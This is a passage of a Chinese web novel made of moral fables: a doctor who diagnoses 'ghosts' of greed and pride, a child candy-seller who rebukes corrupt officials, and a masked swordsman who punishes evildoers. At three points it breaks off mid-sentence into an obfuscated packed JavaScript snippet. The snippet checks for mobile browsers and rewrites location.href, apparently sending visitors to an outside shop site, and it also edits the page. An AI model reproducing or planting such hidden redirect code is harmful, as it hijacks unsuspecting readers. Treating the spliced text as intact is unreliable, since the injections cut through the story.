“二十年,养出一个‘我慢’鬼。”郎中提笔,“这鬼让你眼高于顶,看人皆低。输了,不反思己过,只怨天尤人。再这般,手抖是小,心脉将损。” 笔走龙蛇: “方:慢鬼压顶。 药:寻那后生,敬茶三杯,问‘我输在何处’。 忌:再自称‘老子天下第一’。” 雷武师怒目圆睁,半晌,却颓然坐下:“我…我实不知输在何处。我力大势沉,他轻灵刁钻…” “这便是了。”郎中递方,“去问,去学。武学无止境,慢鬼最阻人进步。你低了头,鬼就散了。” 雷武师踌躇三日,真去找了那后生。后生受宠若惊,细细拆解。雷武师听后,汗流浃背——原来自家破绽如此之多。 他回来,对郎中深鞠一躬:“先生,鬼散了。我手不抖了,心…也开了。” 五、 疑鬼生暗 最后一案,是个老妇,由儿媳搀来。老妇骨瘦如柴,眼窝深陷,抓住郎中手就哭:“先生救我!我夜夜见鬼,说我儿媳下毒害我…可我儿媳孝顺,定是恶鬼缠身!” 儿媳在旁抹泪:“婆婆,我怎会害您…” 郎中细观老妇面相,又让伸手,看掌心纹路,忽问:“大娘,你年轻时,可曾苛待过婆母?” 老妇浑身一颤。 “我…我没有…” “有。”郎中声音温和,却如针,“你婆母病时,你嫌她脏,喂药时摔过碗。她临终说‘你会遭报应’,你记到如今,对么?” 老妇瘫倒,泪如雨下:“是…我那时年轻,不懂事…如今我老了,怕儿媳也这般对我,夜夜噩梦…” “这是疑鬼。”郎中提笔,“你疑人,是因自知曾亏心。鬼不在外,在你心里——是当年的你,化成鬼,来讨债了。” 黄纸现字: “方:疑鬼噬心。 药:对儿媳三拜,说‘我当年错了’。 忌:再起猜疑。” 老妇颤抖,对儿媳跪下。儿媳急扶,婆媳抱头痛哭。 郎中温言:“疑鬼最毒,专蛀至亲。今日哭出来,鬼就散了。往后,信人如信己,待媳如待女,自然夜安枕。” 婆媳相携而去,背影依偎。 六、 五鬼现形 这五桩奇事,传遍济南。知府闻之,疑是妖人,命捕头暗查。捕头姓邢,老辣,扮作病患来诊。 坐摊前,不说病,只问:“先生,你说世上有鬼么?” 郎中笑:“有,也无。” “此话怎讲?” “说无,是因鬼非外物,是人心所化。说有,是因人心化鬼,能让人见幻象,生妄念,行恶事,与真鬼无异。”郎中直视他,“比如捕头你,心里就有只鬼。” 邢捕头一惊:“我有什么鬼?” “疑鬼。”郎中道,“你疑我是妖人,来查我。可你办案三十年,冤过多少人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088175|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,放过多少真凶,心里有本账。这账压着你,让你看谁都像贼——这是疑鬼生暗,让你眼浊心盲。” 邢捕头色变,手按刀柄。 “莫急。”郎中提笔,写方递上,“这方,给你自己,也给知府大人。” 邢捕头看方,黄纸上无字,只画了个圈,圈中有“心”字。 “这是…” “心病还需心药医。”郎中起身,收摊,“告诉知府,世间有鬼,皆在人心。他若想治济南,先治治衙门里的贪嗔痴慢疑。五鬼不除,济南永无宁日。” 言罢,背起布幡,飘然而去。 邢捕头追出,人已不见。唯见幡影在巷口一闪,有歌传来: “贪鬼牵袖嗔鬼舌,痴鬼迷心慢鬼咄。 疑鬼生暗暗生孽,五鬼皆是心头魔。 我今提笔开药方,不画符来不念咒。 但教世人勤拂拭,心灯一亮鬼自躲。” 声渐远。邢捕头怔立良久,回衙禀报。知府听罢,默然半日,下令清查积案,释冤者七人,惩恶吏三人。 说也奇,自那后,济南府狱中“闹鬼”之事渐绝。 尾声心灯长明 郎中一去不返。鬼市摊前,却常有人来,或坐或立,自言自语,仿佛对谈。 有老叟来,说:“先生,我照方退了昧心钱,如今睡得香。” 有少妇来,说:“先生,我信了夫君,他真未负我。” 有学童来,说:“先生,我不怕考不中了,教书也很好。” 无人应,只有风过幡杆,呜呜作响,似在答。 邢捕头退休后,在那摊址开了间茶棚,名“拂心棚”。谁来喝茶,他便讲“五鬼”故事。讲到末了,总说: “那先生没开药方,开了心方。鬼不在外,在内。各位喝茶时,也拂拂心,看住着哪只鬼。赶出去,茶才香。” 茶客笑,有的真低头思量。 永昌十年,济南大疫。人心惶惶,传言是“五鬼复出,瘟神下凡”。知府在城隍庙设坛祈福,无效。 忽一日,有人在拂心棚旁,见一布幡插地,上书: “瘟非鬼,乃气。气郁则瘟生,气通则瘟散。 方:开仓放粮,以安民心;设棚施药,以救民疾;掩埋死者,以净民气。 三事办,瘟自退。” 无署名,但字迹与当年郎中如出一辙。 知府见幡,悚然而惊,急办三事。半月后,瘟渐止。 百姓说,是“诊鬼郎中”又来了,这次治的是“瘟鬼”。 也有人说,夜行时,见一灰袍人影,在空巷中缓行,口中念念: “贪嗔痴慢疑,五鬼藏心底。 世人到处找,不知是自己。 拂去心头尘,点亮一盏灯。 灯亮鬼自消,人间处处明。” 是真是幻,无人知。 只知拂心棚的茶,一直热着。 只知来喝茶的人,走时心里都轻了些。 只知那首歌,在济南城里传着,一代,一代。 本章诫世 一、 五鬼在心之镜 - 以贪嗔痴慢疑对应五类“心鬼”,将外邪归于内魔 - 破解法:凡怨天尤人者,必先自察心魔 - 示例:米商贪、铁匠嗔、书生痴、武师慢、老妇疑 二、 心方胜药方之悖 - 不开草药开“心方”:赔罪、侍疾、讲学、低头、忏悔 - 惕世:当世重药石轻心疗,殊不知心病乃万病之源 - 反思:道场法事与一跪认错,哪个真能驱鬼? 三、 拂心棚之喻 - 以茶棚代医摊,喻“治病”转为“防病” - 深层隐喻:社会治理不在驱鬼,在治人心 - 终极指向:瘟灾起于民怨,民怨起于不公,不公起于心鬼 辨鬼偈: 永昌七年秋风起,济南鬼市来神医。 不治风寒治心鬼,贪嗔痴慢疑五弊。 黄纸一方无草药,但教低头认己非。 世人皆道鬼可怖,不知鬼在心头栖。 后世叹: 济南城西鬼市喧,灰袍童子坐摊前。 贪商退米还药债,铁匠跪妻断邪缘。 痴生教乞开迷障,武师敬茶破慢圈。 莫道世间多鬼魅,心灯一亮即晴天。 正是: 鬼市幡扬秋风寒,童颜神医坐摊前。 贪嗔痴慢疑五鬼,皆在方寸一念间。 黄纸无药开心方,低头有泪见青天。 莫问郎中何处去,心灯自照即神仙。 24. 点官谳 楔子衙前稚子 大雍天启三年,河间府衙门外来了个卖糖人的。 卖糖人的常见,可这卖糖人的奇——是个十来岁的稚子,面如莲瓣,眼如点漆,挎个破竹篮,篮里插满糖人,捏的不是孙悟空猪八戒,尽是些官样人物:戴乌纱的、捧官印的、敲惊堂木的,个个眉眼生动。 更奇的是,这稚子不吆喝,只在衙前石狮旁一蹲,谁来买,先问:“客官做什么营生?” 若答是百姓,他便递个“戴花糖人”:“这个甜,吃了心里美。” 若答是小吏,他递“捧簿糖人”:“这个苦,吃了记性好。” 若答是官员…他摇头:“官爷的糖人,还没捏好。” 府衙书吏赵三钱路过,见糖人精巧,想买个给儿子。稚子问:“客官做什么营生?” “我?府衙刑房书吏。” 稚子从篮底摸出个糖人——是个书吏伏案写字,案头堆满卷宗。赵三钱接过,见糖人背后有字,凑近一看,是蝇头小楷: “一字入公门,九牛拖不出。 笔下有人命,墨里有冤魂。” 赵三钱手一抖,糖人差点落地。 一、 刑房糖语 赵三钱捏着糖人回衙,心神不宁。他是刑房老吏,专录口供,二十年经手案子无数。昨夜刚录完一桩——城南布商刘大富被告“强占民田”,苦主是个老农,证据确凿。可今早师爷暗示:“刘老爷是知府小舅子,笔下…松些。” 他正犹豫,稚子那两句话在耳边响。 午时,他又出衙。稚子还在,篮里糖人少了大半。赵三钱蹲下,低声问:“小孩,你那字…谁教的?” “糖人教的。”稚子捏着新糖人,头也不抬。 “糖人怎会说话?” “糖是甜的,话是苦的。甜苦相抵,便是真话。”稚子递过新糖人,这回是个书生夜读,灯下摊着本书,书页上竟有字: “读圣贤书,所学何事? 明理正心,济世安民。 今人读书,只图金印。 印是方的,心是歪的。” 赵三钱心中剧震。他年轻时也是书生,苦读多年,只中个秀才,不得已入衙门谋生。初时也想“明理正心”,可二十年浸染,早忘了。 “你…你究竟何人?” “卖糖的。”稚子笑,露出缺牙,“官爷,你那案子,想好了么?” 赵三钱骇然:“你怎知…” “我不知。”稚子指糖人,“是它说的——你眉心有墨迹,是心里写字,手上难落笔。对不对?” 赵三钱默然良久,起身回衙。下午录供,他未“松笔”,如实记了刘大富强占田产、打伤老农。师爷看了供词,脸色铁青:“老赵,你…” “我照实记。”赵三钱淡淡道,“墨里若有冤魂,也是他刘大富的,不是我的。” 是夜,他梦见那糖人书生,灯下对他笑:“笔正了,心就安了。” 果然,一夜无梦。 二、 钱谷甜苦 消息传到钱谷师爷孙有道耳中。孙师爷管钱粮,手头正在核算秋税——今年水灾,按理该减,可知府说要“保库银”,意思很明白:照常收。 孙有道正拨算盘,闻糖人事,嗤笑:“装神弄鬼。”却也好奇,出衙来看。 稚子见他一身上好绸衫,问:“客官做什么营生?” “府衙钱谷师爷。” 稚子从篮中取出个糖人,奇形怪状:一人身,却长着算盘脑袋,铜钱眼睛,右手拨珠,左手数钱。背后有字: “算尽锱铢,算不尽民心。 数满金帛,数不完饿殍。 铁算盘,金秤杆, 称得了官银,称不了天道。” 孙有道面色一沉:“小子,谁指使你谤官?” “糖人自己长的字。”稚子眨眨眼,“师爷若觉得不像,我吃了他。”说罢真把糖人头咬下,嚼得嘎嘣响。 孙有道拂袖回衙。可那糖人模样,老在眼前晃。夜里对账,见“灾减项”下空着,他提笔欲填“免三成”,眼前忽现糖人那铜钱眼睛,冷冷看着他。 笔落下,成了“免五成”。 次日呈账,知府皱眉:“有道,这免多了吧?” 孙有道躬身:“大人,今年水大,灾民已聚城下。若再不减,恐生民变。到时…库银也保不住。” 知府沉吟,准了。 秋税收上来,果然少了三成,但灾民未聚,城下安宁。孙有道夜过糖人摊,稚子已收摊,石狮脚边却留了个小糖人,是普通老农,扛锄头,笑呵呵。底下压片纸: “铁算盘裂了道缝, 漏出三分慈悲。 慈悲是甜的, 比糖甜。” 孙有道拾起糖人,含在嘴里。真甜。 三、 知府惊梦 一连几日,知府孙廷玉坐立不安。赵三钱、孙有道先后“反常”,皆因那卖糖稚子。他命捕快暗查,回报说:稚子夜宿城隍庙,日卖糖人,无异常。只是糖人字句,总戳人心窝。 这日,孙廷玉换了便服,亲往察看。稚子正在捏新糖人,捏的是个知府模样,乌纱圆领,手持一卷文书。见他来,抬头笑:“客官也要糖人?” “嗯,捏个…知府样的。” 稚子摇头:“知府糖人,最难捏。捏清官,糖太稀,立不住;捏贪官,糖太黑,卖不出去。客官要哪种?” 孙廷玉沉脸:“清官如何?贪官如何?” “清官糖人,内空心,外光亮,好看不顶饱,一阵风就化了。”稚子边捏边说,“贪官糖人,实心,沉手,可芯是黑的,吃了闹肚子。” “那…不清不贪的呢?” “那更糟。”稚子将糖人递过,“你看,这官袍下,左边揣良心,右边揣私心,两心打架,糖人就裂了。” 孙廷玉接过糖人,果然,糖人腰腹处有道细微裂痕。背后有字: “袍是绯袍,心是灰心。 欲清怕穷,欲贪怕雷。 左顾右盼,三年无功。 上负君恩,下愧黎民。 此之谓‘庸官’, 比贪官更毒三分。” 孙廷玉手一颤,糖人落地,碎成数瓣。稚子叹:“可惜了,这糖人本是送你治病的。” “我…我有何病?” “庸病。”稚子直视他,“你上任三年,河间府赋税未减,冤狱未清,河道未修,学堂未兴。你不贪不占,可也不做不为。这庸病,最耗民脂,最伤民心。” 孙廷玉汗出如浆:“我…我也有难处…” “难在何处?难在怕上司不喜?难在同僚不容?难在…丢了这顶乌纱?”稚子声音转冷,“你可想过,城外灾民,难在无粮?牢中冤者,难在无天?学中童子,难在无师?他们的难,比你如何?” 孙廷玉语塞。稚子从篮底又取出一糖人,这回是襁褓婴儿,酣睡状。 “这个送你。”稚子道,“今夜置于枕边,若梦见婴儿哭,便是民心哭;若梦见婴儿笑,便是你该笑。” 孙廷玉茫然接过,回府。 是夜,真梦见一婴儿,在破屋中啼哭,声嘶力竭。他欲抱,婴儿忽变成糖人,化作糖水,从指缝流走。惊醒,枕边糖人婴儿,眼角竟有糖渍,似泪痕。 他独坐至天明。 四、 三事惊堂 次日升堂,孙廷玉第一件事:重审刘大富案,当堂判“退田赔银,枷号三日”。刘大富当堂撒泼,孙廷玉拍惊堂木:“本官依法而断,你敢咆哮公堂,再加十日!” 满堂哗然。三年了,知府头回这般硬气。 第二件事:张榜告示,减免今秋赋税三成,开义仓赈灾。师爷悄声:“大人,库银…” “库银是死的,民心是活的。”孙廷玉挥笔,“照办!” 第三件事:召各县教谕,命清查学田,增建义学。有教谕诉苦无银,孙廷玉道:“本官捐半年俸,各位量力而行。十年树木,百年树人,这钱,省不得。” 一日三令,河间震动。百姓聚衙前观望,窃窃私语:“孙青天转性了?” 傍晚,孙廷玉出衙,稚子糖人摊已收。石狮脚边又留一糖人,是知府升堂状,惊堂木高举,背后有字: “惊堂木, 木惊堂。 惊的是官胆, 醒的是民望。 今日三事, 可抵三年庸。 望君持之以诚, 河间可活。” 孙廷玉捧糖人,对石狮长揖。 当夜,婴儿糖人不再“流泪”。他放于案头,批文至深夜。 五、 糖人巡城 一月间,河间府气象一新。积案清了十七桩,冤狱平了三起,河道开工,义学增了五所。连街市乞丐,都说“知府老爷换了个人”。 这日,孙廷玉巡城,见稚子糖人摊还在,生意却淡了——因他捏的糖人,渐渐不“刺人”了,多是孩童玩意儿。 孙廷玉下轿,稚子抬头笑:“客官要糖人?今日有新样。” 捏了个骑马官, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088176|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬鞭催马状。背后字: “马是骏马, 路是正路。 鞭莫停, 莫回顾。 前方有光, 是民心烛。” 孙廷玉接过:“小先生…要走了?” “糖卖完了,该走了。”稚子收拾篮子,“客官保重。” “你…究竟是谁?” 稚子背起篮,走了几步,回头:“我是个卖糖的。糖是甜的,话是苦的,事是难的,心是活的。客官记住,当官不难,难在常问自己:穿这身官袍,为的什么?若答得出,路就不会歪。” 他哼着歌谣走了: “糖人甜,糖人苦, 糖人心里藏官府。 官府本是民父母, 莫把父母当老虎。 虎要食人, 父母喂乳。 喂得民心饱, 江山万年固。” 歌声渐远。孙廷玉独立良久,对左右道:“回衙,把这首童谣,抄百份,贴遍河间。让所有官吏,每日念三遍。” 尾声糖印江山 三月后,河间府考绩,孙廷玉得“卓异”,升任按察使。离任那日,百姓送“万民伞”,他拒了,只收了三样:一捧河间土,一块惊堂木碎片,一本童谣抄本。 行至城门口,见一稚子在卖糖,却不是原来那个。他上前问:“小兄弟,可知从前在此卖糖的那个孩子?” 卖糖童摇头:“不知。不过我师父说,糖人捏心,心正糖甜。官爷要糖人么?” “捏个…按察使吧。” 卖糖童捏了个骑马官,持印,背后字: “官印四方, 民心如糖。 印重千斤, 糖化柔肠。 掌印时, 想想糖的甜, 印才盖得正, 江山才坐得长。” 孙廷玉含泪接过,上马离去。 后来,他任所至处,必寻卖糖人,买糖人,置于案头。有下属笑他痴,他说:“这不是糖人,是镜子,照心镜。” 再后来,他官至尚书,在京城府邸设“糖人斋”,收藏各地糖人百尊。每有门生故吏来,他便指糖人:“看,这比圣训管用。圣训在纸上,糖人在心里。” 他活到八十,临终前,子孙问有何遗言。他指糖人斋:“我死,糖人分赠清官。告诉他们…当官,别让糖人流泪。” 言罢,含笑而逝。 而河间城,那首童谣,一直传着。有孩童卖糖,还会捏“知府糖人”,背后字句,代代新添。 最新一版是: “糖是民膏,官是民膏。 膏泽天下,天下饱。 膏肥己身,身先槁。 愿君常捏糖人看, 莫忘初心里外甜。” 糖人易化,童谣难灭。 民心如糖,甜苦自知。 官印如山,轻重自量。 本章诫世 一、 糖人刺心之镜 - 以糖人为喻,将官场百态凝于方寸 - 破解法:凡觉“刺心”者,必是心中有愧 - 示例:刑房吏、钱谷师、庸知府,皆因糖人照见本心 二、 童谣醒官之悖 - 稚子童谣,竟比圣训更能触动官僚 - 惕世:当体制内自省失效,真言或来自草野 - 反思:是官教化民,还是民点化官? 三、 糖印江山之喻 - 官印与糖人并置,喻权力当有甘甜民心为基 - 深层隐喻:治国如熬糖,火候分寸差之毫厘,谬以千里 - 终极指向:江山稳固不在金印,在民心之“甜” 点官偈: 天启三年秋风高,河间衙前卖糖童。 捏尽官场百态相,写透人心一点窍。 刑吏笔下墨生悔,钱谷算盘珠漏恸。 最是庸官裂糖人,三事惊醒三年梦。 后世叹: 大雍天启河间府,稚子卖糖衙前舞。 糖人背后字如针,刺醒三年糊涂主。 惊堂木响冤狱开,义仓粮放饥民哺。 莫道童谣无大力,能教官印化甘乳。 正是: 河间秋深霜叶红,衙前稚子捏糖工。 笔下有冤墨生愧,算中无□□漏穷。 惊堂木响三年梦,童谣声传百里同。 莫问糖人何处去,民心自在此甜中。 25. 悬榜谳 楔子榜上留字 大秦永徽三年,长安西市,悬赏榜前人头攒动。 京兆府新贴海捕文书,缉拿江洋大盗“一阵风”。此贼年余间作案十七起,专劫官银,伤人无数。赏格高达白银三千两,附贼人画像,鹰目钩鼻,甚为凶恶。 众人正指指点点,忽闻一声长笑。但见一灰衣人排众而出,身形瘦削,面罩薄纱,难辨男女。行至榜前,不观画像,反抽剑在手——剑是木剑,长三尺,钝而无锋。 “他要作甚?”观者低语。 灰衣人运剑如笔,竟在悬赏榜空白处,唰唰写下四行字。字迹银钩铁画,入榜三分: “十步杀一人,千里不留行。 事了拂衣去,深藏身与名。” 落款处,画了个小小剑印。 写罢,木剑归鞘,转身即走。众人尚未回神,那灰衣人已没入人海,踪迹杳然。 榜前死寂片刻,忽有人惊呼:“看那画像!” 却见“一阵风”的画像,眉心多了一点朱砂,殷红如血。而榜上墨迹,在日光下竟泛淡淡金芒,与官府朱批相映,说不出的诡异。 “是…是‘剑印客’!”有老者颤声道。 一、 夜雨留剑 当夜,京兆尹周正德坐立难安。 白日榜前之事,已传遍长安。那四句诗,他认得,是前朝李太白《侠客行》中的。可写在悬赏榜上,意味大不同——这是公然挑衅,还是别有深意? 更奇的是,画像眉心那点朱砂,水洗不去,刀刮不掉,仿佛天生在纸上。 “大人!”捕头赵闯急入,“‘一阵风’…有消息了!” “在何处?” “在…在咱们大牢!” 周正德霍然起身。二人急趋大牢,但见最里一间死囚牢内,一人蜷缩角落,瑟瑟发抖,正是画像上的“一阵风”。他手脚完好,无械无枷,只是脖颈衣领内,插着一柄木剑——正是白日榜前那柄。 木剑上刻八字: “尔命当绝,暂寄此颅。 三日自省,再定生死。” 狱卒说,子时换岗,此牢尚空。丑时再查,贼人已在,木剑已插,无人知何时、如何进来的。 周正德抽剑细看,木剑轻若无物,剑身微温。再看“一阵风”,脸色惨白,语无伦次:“鬼…是鬼!我睡在家中,忽然天旋地转,醒来就在这儿了!是鬼抓我来的!” “你家在何处?” “城外…三十里黑风寨…” 三十里!周正德毛骨悚然。从黑风寨到长安大牢,要过三重城门、十二道岗哨,便是飞鸟也难悄入。此人…真是鬼? 不,是“剑印客”。 周正德捏着木剑,忽觉重如千钧。这剑,是功绩,也是烫手山芋——贼是抓住了,可怎么抓住的?说是“剑印客”代劳,朝廷颜面何存?若不说,如何解释这神鬼莫测的擒贼? 正踌躇,有狱卒惊呼:“大人!剑上有字在变!” 定睛看去,木剑上那八字,竟如冰雪融化,渐渐消失。旋即浮现新字: “贼在此,赏银何用? 散于民,可积薄德。” 字现片刻,又隐去。木剑“咔嚓”轻响,自断三截,落在地上,竟化作木屑,随风散了。 “一阵风”见剑碎,怪叫一声,昏死过去。 周正德默立良久,对赵闯道:“传令,三千两赏银,半数抚恤受害者,半数赈济贫民。对外就说…是咱们夜袭黑风寨擒的贼。” “那‘剑印客’…” “什么剑印客?”周正德拂袖,“本官不知。你也不知。” 赵闯会意,低头称是。 二、 花楼留香 “一阵风”伏法,长安城议论了几天,渐归平静。可“剑印客”之名,却在市井悄然传开。 有人说他是剑仙,有人说他是大盗,更多人信他是个“赏善罚恶”的游侠。茶楼酒肆,时闻说书人拍醒木:“话说那剑印客,十步杀一人,千里不留行。为何?杀的是恶人,行的是天道!” 这话传到平康坊,惹恼一人。 谁?花魁玉玲珑的恩客,户部侍郎之子,杜子腾。此子仗父势,横行长安,人送诨号“杜阎王”。这日在怡红院吃酒,闻说书人讲“剑印客专惩恶少”,勃然大怒,摔杯骂道:“什么狗屁剑客!若来,小爷一刀捅了他!” 众妓噤声。杜子腾犹骂不绝,忽闻窗外有人轻笑。 “谁?!” 推窗望去,但见对面屋顶,坐一人,灰衣飘飘,面罩轻纱,正就着月色饮酒。见他开窗,举杯示意。 “你就是那剑印客?”杜子腾酒气上涌,拔刀指骂,“有胆下来,与小爷大战三百回合!” 灰衣人摇头,声音清越如泉:“你,不配我拔剑。” “狂妄!”杜子腾欲唤家丁,却见灰衣人扬手,一物破窗而入,正落在他桌前——是个绣花香囊,香气馥郁。 正是玉玲珑今早丢失的贴身之物。 “此物,你从何得来?”灰衣人问。 杜子腾脸色一变——这香囊,是他昨夜强要的。玉玲珑不愿,被他扇了一耳光,硬抢了来。 “关…关你屁事!” “强夺民物,掌掴弱女,此为一恶。”灰衣人数道,“上月,你纵马踏伤老乞,赔钱一文,此为二恶。去岁,你逼死城南刘氏绣娘,此为三恶。三恶并罚,该当如何?” 杜子腾冷汗涔涔,这些事他做得隐秘,此人如何得知? “你…你血口喷人!” 灰衣人自怀中取出一卷纸,展开,竟是份“罪状”,密密麻麻,记着杜子腾十余桩恶行,时间、地点、人证俱全。 “这状子,我已抄送三份,一送京兆府,一送刑部,一送…你父亲杜侍郎案头。”灰衣人折起状子,“三日内,你若不自首,第四份,就贴在这怡红院门口,让长安百姓都看看,户部侍郎教的好儿子。” 言罢,飘身下檐,歌曰: “十步惩一恶,千里送状书。 事了拂衣去,深藏功与名。” 歌声渐远。杜子腾瘫坐在地,面无人色。 三日后,杜子腾真去京兆府自首,招供七桩,避重就轻。周正德正头痛如何处置,忽接杜侍郎密信:“犬子无状,请大人严惩,以儆效尤。” 周正德愕然——这杜侍郎最是护短,怎的转了性? 幕僚低语:“听闻昨夜,杜府书房案头,突然多了柄木剑,剑下压着那第四份状子…” 周正德恍然,急问:“剑印客又留字了?” “是,四字:‘子不教,父之过。’” 周正德长叹,提笔判了个“流放三千里”。杜子腾离京那日,百姓沿途掷石,骂声不绝。据说,押解官差怀中,都揣了份抄录的罪状,说是“若此子途中作恶,就贴遍州县”。 自此,长安恶少,收敛许多。 三、 粮仓留影 永徽四年,关中大旱。朝廷拨赈灾粮十万石,经户部转运,至长安时,只剩七万。三万石不翼而飞。 龙颜大怒,限期十日破案。户部上下焦头烂额,查来查去,竟无头绪——账目清楚,押运无误,粮就是少了。 第九日深夜,户部侍郎杜明义(杜子腾之父)独坐书房,对案发呆。忽听窗响,一人飘然入内,灰衣纱面,正是剑印客。 杜明义惊起:“你…你是人是鬼?!” “侍郎希望我是人是鬼?”剑印客声音平静,“若我是人,侍郎贪墨的三万石粮,就该吐出来。若我是鬼…侍郎就不怕,夜半索命?” 杜明义脸色煞白:“你胡说什么!本官清清白白…” “清不清白,看看这个。”剑印客抛出一本账册。 杜明义翻开,浑身冰凉——这是他私设的暗账,记着三万石粮的流向:一万石卖与米商,得银入私囊;两万石囤于私仓,待价而沽。账本应藏在密室,此人如何得来? “你…你欲何为?” “明日午时,开私仓放粮,散于灾民。所得银两,加倍捐出,设粥棚百日。”剑印客道,“如此,或可保你全家性命。” “我若…不从呢?” 剑印客不答,只从怀中取出一方白绢,抖开。绢上竟有人影晃动,细看,是杜明义与米商密谈的画面,连对话都清晰可闻: “米价已涨三倍,此时出手,可赚十倍…” “谨慎些,莫留痕迹…” 杜明义魂飞魄散——这绢,竟能留声留影?! “此绢,我复了十份。”剑印客收起白绢,“九份已送御史台、大理寺、京兆府…及另几位侍郎府上。最后一份,在陛下枕边。侍郎,明日午时,你是开仓,还是开斩?” 说罢,穿窗而出,消失于夜色。 杜明义瘫坐在地,汗透重衣。 次日午时,杜明义真开了私仓。两万石粮涌出,灾民哄抢。他立于仓前,面如死灰,喃喃道:“本官…本官体恤灾民,捐粮赈济…” 人群中,灰衣人远远看着,轻轻摇头。 是夜,杜明义自缚请罪,供出同党七人。三万石粮追回,米商伏法。陛下念其悔过,免死,革职流放。 离京时,杜明义怀中掉出一方白绢,正是那“留影绢”。拾起细看,绢上空空,哪有人影?不过一方素绢而已。 他怔了半晌,忽仰天大笑:“幻术!是幻术!他诈我!” 可粮已散,罪已供,回不了头了。 四、 金殿留诗 三案过后,“剑印客”名动长安。百姓奉若神明,官吏谈之色变。陛下闻之,召周正德问询。 周正德据实以奏。陛下听罢,沉默良久,道:“此人行事,虽不合律法,却合天道。然以武犯禁,终非长久。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088177|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朕…想见见他。” “陛下,此人神出鬼没,恐难…” “无妨。”陛下提笔,亲书一诏,悬于午门: “剑印客台鉴: 朕闻卿行事,赏善罚恶,颇有古侠之风。 然法为国之纲纪,卿纵有义心,不宜私刑。 今朕开明堂,设‘侠义司’,请卿主之。 以朝廷之名,行侠义之事, 名正言顺,卿可愿否?” 诏书悬了三日,无人揭。 第四日拂晓,守军发现,诏书旁多了一行字,以木炭写就: “侠者,以武犯禁。 司者,以法束人。 侠入司中,如鸟入笼, 虽得粟米,失却长空。 陛下美意,心领。 江湖路远,各自珍重。” 字迹旁,印着那枚小小剑印。 陛下得报,不怒反笑:“好个‘失却长空’。此人志在江湖,不在庙堂。” 遂收回成命,但暗中下旨:凡剑印客所惩之恶,官府需彻查严办,不得推诿。又命刑部增设“闻风使”,专察民间冤情。 有大臣谏:“陛下,此风不可长。若人人效仿,以武乱法,国将不国。” 陛下道:“若官吏尽忠职守,司法清明,何需侠客?剑印客,是镜,照出我等不足。朕当谢他。” 这番话传开,长安吏治为之一肃。 尾声剑印常在 永徽五年秋,剑印客最后一次现身。 城南贫民窟起疫,官府隔离,却少医药。一夜之间,疫区各家门前,都放了一包药,附药方,书:“按方煎服,三日可愈。”药包上,皆印剑印。 三日后,疫果大减。百姓对空叩拜,称“剑仙赐药”。 又过三日,有人在西市悬赏榜前,见灰衣人负手观榜。榜上已无“一阵风”,换了个采花贼的画像。 灰衣人看罢,抽木剑,在榜旁粉墙题诗一首: “十步一杀非本心, 千里独行因世沉。 拂衣去后身名藏, 留得剑印照古今。 莫道侠客已远遁, 但见不平自出林。 人间若有未雪冤, 月下犹闻剑长吟。” 题罢,掷剑于地。木剑寸断,化为齑粉,随风散尽。 人亦不见。 自此,剑印客绝迹长安。可长安城,乃至整个大秦,处处有他的传说。 有贪官夜半惊醒,见窗前月影如剑,疑是剑印客来,遂自首。 有恶霸欺人,忽闻巷口歌谣:“十步杀一人…”顿时胆寒,缩手作罢。 有冤民走投无路,对天泣诉:“剑仙公道,何在?”次日,冤情必达官府,得速办。 陛下命人拓下那首墙头诗,刻碑立于午门外,题曰“侠客铭”。碑成之日,万民围观。有稚子指碑问父:“爹爹,剑印客真的不来了么?” 父答:“他人在不在,不重要。只要这碑在,人心里的‘剑印’在,公道…就在。” 风吹过,碑文字字清晰,在日光下,泛着淡金光芒。 像剑。 像印。 像永不消散的,侠气。 本章诫世 一、 榜上诗痕之镜 - 以侠客诗入官府榜,喻“侠道”对“官法”的补充与警示 - 破解法:当律法不彰时,民间自有公道 - 示例:擒贼、惩恶、追粮,皆在法外,却在理中 二、 木剑代刑之悖 - 木剑无锋,却能慑人心魄,喻“以柔克刚,以德服人” - 惕世:当司法失公,私力救济便会滋生 - 反思:是侠客僭越,还是官吏失职? 三、 剑印长存之喻 - 剑印化为碑铭,喻侠义精神当制度化、常态化 - 深层隐喻:治国不仅靠王法,更需民心自持的“公道秤” - 终极指向:真正的“剑印客”,是每个心存良善的普通人 侠客偈: 永徽三年秋风起,长安市上悬赏急。 一剑留诗惊朝野,十步惩恶醒沉迷。 木剑能断黄金梦,白绢可照墨吏皮。 莫道江湖无王法,人心自有公道旗。 后世叹: 大秦永徽长安城,剑客留诗悬榜惊。 夜擒大盗如捉雀,昼惩恶少似训婴。 三万石粮还灾户,一方绢影破贪营。 午门碑刻侠客铭,犹闻月下剑长鸣。 正是: 